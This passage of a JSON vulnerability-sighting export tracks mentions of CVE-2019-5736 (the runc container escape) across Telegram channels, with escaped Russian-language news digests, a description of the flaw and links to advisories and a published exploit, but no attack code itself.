\u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 Docker \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0438\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0434\u043b\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2019-5736 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043c\u0430\u0439\u043d\u0435\u0440\u043e\u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b Monero.\n\n\u0412 \u0421\u0435\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043d\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043b\u0438\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u043e\u0439 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0436\u0438\u0442\u0435\u043b\u0435\u0439 \u041a\u0438\u0442\u0430\u044f \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u0445, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a WeChat \u0438 QQ. \u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u0435 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439, \u043a\u043e\u043c\u0443 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 IP-\u0430\u0434\u0440\u0435\u0441. \u041f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u0411\u0414 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 364 \u043c\u043b\u043d \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0442\u0430\u043a\u0443\u044e \u043a\u0430\u043a \u043d\u043e\u043c\u0435\u0440\u0430 \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0435\u043d\u0438\u0439 \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438, \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438, \u0430\u0434\u0440\u0435\u0441\u0430, \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0438 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0435\u0449\u0435 \u0441 17 \u0441 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u0431\u0430\u0437\u0430\u043c\u0438 MongoDB. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0432 \u043f\u043e\u043b\u0438\u0446\u0435\u0439\u0441\u043a\u0438\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0438\u043d\u0446\u0438\u044f\u0445.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.securitylab.ru/news/498300.php", "creation_timestamp": "2026-07-27T00:00:29.073129Z"}, {"uuid": "75ec8e5a-29d9-47d0-8736-a7e7920cb43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/timcore_hacking/279", "content": "\u041e\u0431\u0437\u043e\u0440 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 4 \u043f\u043e 10 \u043c\u0430\u0440\u0442\u0430 2019 \u0433\u043e\u0434\u0430\n\n\u041a\u043e\u0440\u043e\u0442\u043a\u043e \u043e \u0433\u043b\u0430\u0432\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438.\n\n\u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u043b\u0435 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 GitHub \u0441\u0435\u0442\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Windows, Mac \u0438 Linux. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043a\u043e\u0434, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043d\u0430 \u043d\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Supreme NYC Blaze Bot, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0432\u0448\u0435\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0431\u043e\u0442\u043d\u0435\u0442.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u0430 \u0440\u044f\u0434 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0432 \u0412\u0435\u043d\u0435\u0441\u0443\u044d\u043b\u0435 \u0431\u044b\u043b\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u044b \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438, \u043f\u043e\u0432\u043b\u0435\u043a\u0448\u0438\u0435 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u0441\u043d\u0430\u0431\u0436\u0435\u043d\u0438\u044f. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u044d\u043b\u0435\u043a\u0442\u0440\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u043d\u0438\u0439 \u043c\u0435\u0442\u0440\u043e \u0432 \u041a\u0430\u0440\u0430\u043a\u0430\u0441\u0435 \u0438 \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u0439 \u0430\u044d\u0440\u043e\u043f\u043e\u0440\u0442 \u0438\u043c\u0435\u043d\u0438 \u0421\u0438\u043c\u043e\u043d\u0430 \u0411\u043e\u043b\u0438\u0432\u0430\u0440\u0430 \u0432 \u0433\u043e\u0440\u043e\u0434\u0435 \u041c\u0430\u0439\u043a\u0435\u0442\u0438\u044f, \u043c\u0443\u043d\u0438\u0446\u0438\u043f\u0430\u043b\u0438\u0442\u0435\u0442 \u0427\u0430\u043a\u0430\u043e \u0432 \u041a\u0430\u0440\u0430\u043a\u0430\u0441\u0435, \u0433\u0434\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0445 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0440\u043e\u0433\u0438\u0435 \u0433\u043e\u0441\u0442\u0438\u043d\u0438\u0446\u044b \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0440\u0430\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0439. \u0412\u0435\u043d\u0435\u0441\u0443\u044d\u043b\u044c\u0441\u043a\u0438\u0435 \u0432\u043b\u0430\u0441\u0442\u0438 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0434\u0438\u0432\u0435\u0440\u0441\u0438\u0435\u0439, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u0440\u0430\u043c\u0430\u0445 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u043e\u0439\u043d\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0438.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Equation \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 \u0435\u0449\u0435 \u043e\u0434\u043d\u0438\u043c \u0431\u0430\u0433\u043e\u043c \u0432 MS Word \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446 \u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432. \u0421\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442 \u043d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 JACKSBOT.\n\n\u0422\u043e\u0440\u0440\u0435\u043d\u0442-\u0442\u0440\u0435\u043a\u0435\u0440\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e. \u041a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0442\u043e\u0440\u0440\u0435\u043d\u0442-\u0442\u0440\u0435\u043a\u0435\u0440 The Pirate Bay \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u043b\u0430\u0442\u043d\u043e\u0433\u043e \u041f\u041e, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u0445 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0436\u0435\u0440\u0442\u0432 \u0442\u0440\u043e\u044f\u043d Trojan-Downloader.Win32. PirateMatryoshka. \u0422\u0440\u043e\u044f\u043d \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u041f\u041e, \u0432\u043b\u0438\u044f\u044e\u0449\u0435\u0433\u043e \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0421\u043e\u0442\u043d\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 Docker \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0438\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0434\u043b\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2019-5736 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043c\u0430\u0439\u043d\u0435\u0440\u043e\u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b Monero.\n\n\u0412 \u0421\u0435\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043d\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043b\u0438\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u043e\u0439 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0436\u0438\u0442\u0435\u043b\u0435\u0439 \u041a\u0438\u0442\u0430\u044f \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u0445, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a WeChat \u0438 QQ. \u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u0435 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439, \u043a\u043e\u043c\u0443 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 IP-\u0430\u0434\u0440\u0435\u0441. \u041f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u0411\u0414 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 364 \u043c\u043b\u043d \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0442\u0430\u043a\u0443\u044e \u043a\u0430\u043a \u043d\u043e\u043c\u0435\u0440\u0430 \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0435\u043d\u0438\u0439 \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438, \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438, \u0430\u0434\u0440\u0435\u0441\u0430, \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0438 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0435\u0449\u0435 \u0441 17 \u0441 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u0431\u0430\u0437\u0430\u043c\u0438 MongoDB. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0432 \u043f\u043e\u043b\u0438\u0446\u0435\u0439\u0441\u043a\u0438\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0438\u043d\u0446\u0438\u044f\u0445.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.securitylab.ru/news/498300.php", "creation_timestamp": "2026-07-26T12:00:04.369888Z"}, {"uuid": "35b82280-0b84-49e0-941b-23eecd0d3bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/oleg_log/1433", "content": "\u0415\u0441\u043b\u0438 \u0442\u044b \u043d\u0435 \u0438\u0434\u0435\u0448\u044c \u043a \u0433\u0443\u0433\u043b\u0443, \u0433\u0443\u0433\u043b(\u0412\u0430\u0434\u0438\u043c) \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u0435\u0431\u0435:\n\n> Subject: CVE-2019-5736: runc container breakout \nexploit code\nhttps://www.openwall.com/lists/oss-security/2019/02/13/3\n\n\u0421\u043f\u0430\u0441\u0438\u0431\u043e, \u0433\u0443\u0433\u043b-\u0412\u0430\u0434\u0438\u043c \ud83d\ude4c", "creation_timestamp": "2026-07-29T12:01:53.439456Z"}, {"uuid": "44b87ed5-9f9d-4aa5-ad6d-ead9c7ca2e5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/sysadmin_tools/785", "content": "\u0412 runc, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2019-5736), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0438\u0437 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b runc \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0445\u043e\u0441\u0442-\u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 runtime runc, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Docker, cri-o, containerd, Kubernetes, Podman \u0438 flatpak. \u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 LXC \u0438 Apache Mesos.\n\n http://bit.ly/2UWPPgH", "creation_timestamp": "2026-07-29T12:01:54.380290Z"}, {"uuid": "c0623ac5-ccdf-4b9e-a5e4-d62d6e571b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/reverseame/3351", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-07-29T12:02:29.448329Z"}, {"uuid": "da7b1d45-1b3f-4f91-8d0c-5c12632ff387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/reverseame/3982", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-07-29T12:02:23.154711Z"}, {"uuid": "f685967f-2172-416c-89c0-f433e049278e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 